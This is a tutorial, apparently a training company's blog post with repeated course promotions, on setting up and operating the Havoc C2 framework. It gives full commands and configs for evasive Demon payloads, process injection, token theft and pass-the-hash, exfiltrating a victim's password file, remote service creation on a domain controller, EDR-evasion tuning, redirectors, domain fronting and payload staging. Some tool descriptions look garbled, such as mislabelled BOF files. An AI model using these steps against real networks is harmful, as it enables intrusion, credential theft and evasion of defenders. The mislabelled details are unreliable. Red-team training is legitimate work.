Date
January 21, 2026
Author
Karan Patel
,
CEO

Havoc has quickly become one of the most capable open-source command-and-control frameworks available to red teamers and adversary simulation operators. Built with modern Windows evasion in mind, it rivals commercial tools like Cobalt Strike in several key areas, particularly when it comes to in-memory execution, indirect syscalls, and sleep obfuscation. This guide covers everything a practitioner needs: from spinning up a Havoc team server to deploying agents, running post-exploitation commands, and operating with a level of tradecraft that holds up under modern EDR scrutiny.

If you are building serious Windows red team skills, the Windows Red Teaming Extreme Course at Redfox Cybersecurity Academy covers adversary simulation at depth, including C2 operations, defense evasion, and full attack chain execution.

What Is Havoc C2 and Why Red Teamers Use It

Havoc is a post-exploitation framework developed by @C5pider. Its primary agent, the Demon, is written in C and assembly, giving it a lightweight footprint with powerful evasion capabilities baked in by design. Unlike older frameworks that rely on reflective DLL injection and standard API calls, Havoc's Demon uses indirect syscalls through HellsGate/HalosGate techniques, stack spoofing, and sleep obfuscation to significantly reduce detection surface.

Key reasons red teamers choose Havoc:

  • Native support for indirect syscalls (bypasses user-mode hooks)
  • Sleep obfuscation via EKKO or Zilean techniques
  • Stack spoofing to hide Demon threads from memory scanners
  • Modular post-exploitation via BOFs (Beacon Object Files)
  • Multi-user team server with a Qt-based GUI client
  • Active development and a growing community extension ecosystem

Environment Setup Before Installing Havoc

Havoc is designed to run on Linux-based systems. A typical setup uses a Debian or Ubuntu-based attacker machine, either a dedicated VPS or a local VM. Kali Linux works well out of the box.

Dependencies Required

Before cloning the repository, install the required build dependencies:

sudo apt update && sudo apt install -y \
 golang-go \
 python3 \
 python3-pip \
 nasm \
 mingw-w64 \
 cmake \
 libssl-dev \
 libffi-dev \
 python3-dev \
 build-essential \
 apt-transport-https \
 pkg-config

[cta]

You also need a working Go environment. Verify the installation:

go version

[cta]

If Go is not installed or below version 1.18, install it manually:

wget https://go.dev/dl/go1.21.5.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.5.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
echo 'export PATH=$PATH:/usr/local/go/bin' >> ~/.bashrc

[cta]

Installing Havoc C2

Cloning and Building the Framework

git clone https://github.com/HavocFramework/Havoc.git
cd Havoc

[cta]

Build the team server first:

cd teamserver
go mod download
go build -o teamserver main.go

[cta]

Then build the client GUI. Havoc uses Qt5 for its interface, so the client requires additional libraries:

sudo apt install -y \
 qtbase5-dev \
 qtchooser \
 qt5-qmake \
 qtbase5-dev-tools \
 libqt5websockets5-dev

cd ../client
mkdir build && cd build
cmake ..
make -j4

[cta]

Once both are compiled, you have two binaries: teamserver in the teamserver directory and Havoc in the client build directory.

Configuring the Havoc Team Server

The team server is configured through a YAML profile file. Create a profile called operator.yaotl (Havoc uses .yaotl as its profile extension):

Teamserver {
 Host = "0.0.0.0"
 Port = 40056

 Build {
   Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
   Compiler86 = "/usr/bin/i686-w64-mingw32-gcc"
   Nasm = "/usr/bin/nasm"
 }
}

Operators {
 user "redteam01" {
   Password = "Str0ngP@ssw0rd!"
 }
}

Listeners {
 Http {
   Name         = "http-listener"
   Hosts        = ["YOUR_C2_IP"]
   HostBind     = "0.0.0.0"
   HostRotation = "round-robin"
   Port         = 8080
   Secure       = false
   UserAgent    = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
   Headers      = []
   Uris         = ["/api/v1/update", "/cdn/assets/main.js", "/portal/session"]
   Response {
     Headers = [
       "Content-type: text/html; charset=utf-8",
       "X-Powered-By: PHP/8.0.24"
     ]
   }
 }
}

[cta]

Replace YOUR_C2_IP with your actual external IP or domain. Launch the team server with the profile:

./teamserver server --profile operator.yaotl

[cta]

The server will start and listen for operator connections on port 40056 and for agent callbacks on port 8080.

Connecting the Havoc GUI Client

Launch the client from the build directory:

./Havoc

[cta]

In the connection dialog, enter:

  • Host: Your team server IP
  • Port: 40056
  • User: redteam01
  • Password: Str0ngP@ssw0rd!

Once connected, operators see the shared session view, event log, and listener panel.

Generating a Havoc Demon Payload

This is where the real operational work begins. Through the GUI, navigate to Attack > Payload and configure a Demon agent with the following recommended settings for evasion:

SettingRecommended ValueFormatWindows PE (EXE) or ShellcodeArchitecturex64Sleep5 secondsJitter20%Indirect SyscallsEnabledSleep TechniqueEKKOStack SpoofingEnabledInjectionProcess Hollowing

For shellcode output suitable for manual injection:

# The GUI generates a raw .bin file
# Convert to a format usable in a C dropper
xxd -i demon.bin > shellcode.h

[cta]

If you want to generate payloads via the command line during automated engagements, Havoc also supports a headless build mode through direct interaction with the team server API. The payload profile can be scripted with Python using the PyHavoc library.

Operators doing serious adversary simulation work should review how Windows Defender and EDR solutions detect in-memory loaders. The Windows Red Teaming Extreme course at Redfox Cybersecurity Academy covers in-memory execution, AMSI bypass, and payload crafting in hands-on lab environments.

Core Havoc Demon Commands

Once a Demon agent checks in, operators interact through the interactive console. Below are the most operationally relevant commands.

Process and System Reconnaissance

# List running processes
ps

# Get detailed system information
sysinfo

# Display current token and user context
whoami

# List environment variables
env

[cta]

File System Operations

# List directory contents
ls C:\Users\

# Download a file from the compromised host
download C:\Users\victim\Documents\passwords.kdbx

# Upload a file to the target
upload /tmp/tool.exe C:\Windows\Temp\svchost32.exe

# Change working directory
cd C:\Windows\System32

[cta]

Process Injection

Havoc supports several injection techniques. The most EDR-resistant approach uses indirect syscalls combined with a target process that has network connectivity (for example, targeting svchost.exe or explorer.exe):

# Inject shellcode into a remote process by PID
inject <PID> x64 /tmp/payload.bin

# Spawn a new process under a parent and inject
spawndll <PID> /tmp/payload.dll

[cta]

Token Manipulation

# Steal the token of a privileged process
steal_token <PID>

# Revert to the original token
rev2self

# Make a token from credentials (pass-the-hash style)
make_token DOMAIN\Administrator <NTLM_HASH>

[cta]

Using BOFs (Beacon Object Files) in Havoc

Havoc supports executing BOFs in-process, which is one of its most powerful features for stealthy post-exploitation. BOFs run inside the Demon's memory, avoiding the need to spawn new processes or drop tools to disk.

Loading and Running a BOF

# Load a compiled .o BOF file
bof /opt/bofs/SA_whoami.o

# Run TrustedSec's situational awareness BOF pack
bof /opt/bofs/ldapsearch.o -- /str:"(objectCategory=computer)"

[cta]

The TrustedSec BOF collection and the CS-Situational-Awareness-BOF repository are both compatible with Havoc. Popular choices for Active Directory enumeration include:

# Enumerate domain trusts
bof /opt/bofs/adcs.o

# List domain admins without spawning net.exe
bof /opt/bofs/nolsassy.o

# Kerberoast without Rubeus on disk
bof /opt/bofs/kerberoast.o

[cta]

BOF-based execution keeps your tooling off disk and avoids spawning child processes that EDR solutions flag. This is the standard approach in mature red team operations where dwell time matters.

Lateral Movement with Havoc Demon

Pass-the-Hash with Token Impersonation

# Make a token using NTLM hash
make_token CORP\svc_backup <NTLM_HASH>

# Use the token to access remote resources
ls \\\\DC01\\C$

# Spawn a Demon on the remote host via SMB
spawndll <PID> /tmp/demon.dll

[cta]

Remote Service Creation via SCM

For lateral movement using Windows Service Control Manager:

# Execute a command on a remote host using the stolen token
shell sc \\DC01 create RedSvc binpath= "C:\Windows\Temp\svc.exe" start= auto
shell sc \\DC01 start RedSvc

[cta]

For red teamers operating in mature Active Directory environments, coupling Havoc with tools like Certipy for ADCS abuse or with BloodHound for attack path visualization is standard tradecraft. The C2 becomes the post-exploitation hub while purpose-built tools handle specific primitives.

Sleep Obfuscation and Evasion Configuration

Havoc's evasion stack is what separates it from earlier open-source frameworks. Understanding how to tune it matters operationally.

EKKO Sleep Obfuscation

EKKO encrypts the Demon's memory during sleep intervals using ROP chains and legitimate Windows timers, making memory scans during idle periods ineffective. Enable it in the payload builder and verify the sleep mask is active:

# Confirm sleep obfuscation is running from the Demon console
config

# Adjust sleep and jitter at runtime
sleep 10 30

[cta]

The second value is the jitter percentage. A setting of sleep 10 30 means the Demon sleeps between 7 and 13 seconds per callback, which helps defeat beacon interval detection.

Indirect Syscall Verification

When the Demon is built with indirect syscalls enabled, it routes system calls through legitimate ntdll.dll stubs rather than making direct calls, bypassing user-mode hooks placed by EDR products like CrowdStrike Falcon and SentinelOne. You can verify syscall mode is active:

# Verify agent configuration at runtime
config --show

[cta]

For operators building skills in bypassing modern endpoint controls, the Windows Red Teaming Extreme course at Redfox Cybersecurity Academy covers the theory and hands-on application of syscall-based evasion, AMSI patching, ETW bypass, and more in a structured lab environment.

Operational Security Considerations for Havoc Deployments

Running Havoc in a real engagement requires more than technical setup. Operational security governs whether the team server survives the engagement.

Redirector Architecture

Never point a Demon directly at your team server IP. Use a redirector layer:

# Nginx redirector configuration on a cloud VPS
# Forward only traffic matching the C2 URI pattern
location ~* ^/(api/v1/update|cdn/assets/main\.js|portal/session) {
   proxy_pass http://TEAMSERVER_IP:8080;
   proxy_set_header Host $host;
   proxy_set_header X-Real-IP $remote_addr;
}

# Block all other traffic with a 404
location / {
   return 404;
}

[cta]

This setup means a blue team analyst hitting your C2 IP without the correct URI gets a 404, not a fingerprint-able C2 response. The team server IP is never exposed directly.

Domain Fronting and CDN Routing

Using a legitimate CDN provider that supports custom origin routing lets you disguise C2 traffic as traffic to a trusted domain. Configure your listener's Host header to match the CDN fronted domain, and set the actual origin to your redirector.

OPSEC-Safe Payload Staging

Avoid staging payloads from the team server itself. Use a separate web server with short-lived URLs for payload delivery:

# Serve payload from a separate host with a one-time URL
python3 -c "
import http.server, socketserver, sys
class OT(http.server.SimpleHTTPRequestHandler):
   def do_GET(self):
       super().do_GET()
       sys.exit(0)
socketserver.TCPServer(('0.0.0.0', 8443), OT).handle_request()
"

[cta]

Havoc Extensions and the Extender API

Havoc ships with a Python-based Extender API that lets operators write custom modules, automate workflows, and integrate external tools into the team server interface.

A simple example that auto-runs recon commands on every new Demon checkin:

from havoc import HavocModule

class AutoRecon(HavocModule):
   def on_agent_checkin(self, agent_id):
       self.agent_command(agent_id, "sysinfo")
       self.agent_command(agent_id, "ps")
       self.agent_command(agent_id, "whoami")
       self.agent_command(agent_id, "env")

[cta]

Load the extension from the team server:

./teamserver extension load /opt/extensions/autorecon.py

[cta]

The extension API allows teams to standardize initial access procedures, log everything centrally, and reduce the chance of operators missing key recon steps during a fast-moving engagement.

Key Takeaways

Havoc C2 is a mature, actively developed framework that gives red teams access to commercial-grade evasion primitives without a commercial price tag. Its Demon agent brings indirect syscalls, sleep obfuscation, stack spoofing, and BOF execution into a single cohesive package. When paired with a proper redirector architecture and thoughtful operational security, it is capable of operating undetected in environments protected by leading EDR products.

The most important habits to carry into any Havoc engagement are: build your payload profiles with evasion settings tuned to the target environment, keep your team server behind a redirector at all times, use BOFs over on-disk tools wherever possible, and rotate sleep intervals to avoid beacon detection analytics.

If you want to go further with Windows-focused adversary simulation, including advanced persistence, credential access, Active Directory attack chains, and C2 tradecraft at a professional level, Redfox Cybersecurity Academy's Windows Red Teaming Extreme course is built for practitioners who want lab-proven skills, not just theory.

Copy Code